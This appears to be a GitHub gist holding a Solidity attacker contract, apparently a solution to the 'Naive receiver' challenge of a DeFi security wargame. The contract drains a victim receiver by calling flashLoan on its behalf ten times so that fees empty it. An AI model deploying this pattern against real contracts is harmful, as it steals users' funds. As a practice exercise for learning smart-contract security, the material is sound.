Skip to content

Instantly share code, notes, and snippets.

@JuanXavier
Created July 9, 2022 21:43
Show Gist options
  • Select an option

  • Save JuanXavier/8f395a2571189f6fd110f06bf13216e5 to your computer and use it in GitHub Desktop.

Select an option

Save JuanXavier/8f395a2571189f6fd110f06bf13216e5 to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../naive-receiver/NaiveReceiverLenderPool.sol";
contract NaiveAttacker {
NaiveReceiverLenderPool public pool;
constructor(address payable _pool) {
pool = NaiveReceiverLenderPool(_pool);
}
function attack(address _receiver) external {
for (uint256 i = 0; i < 10; i++) {
pool.flashLoan(_receiver, 0);
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment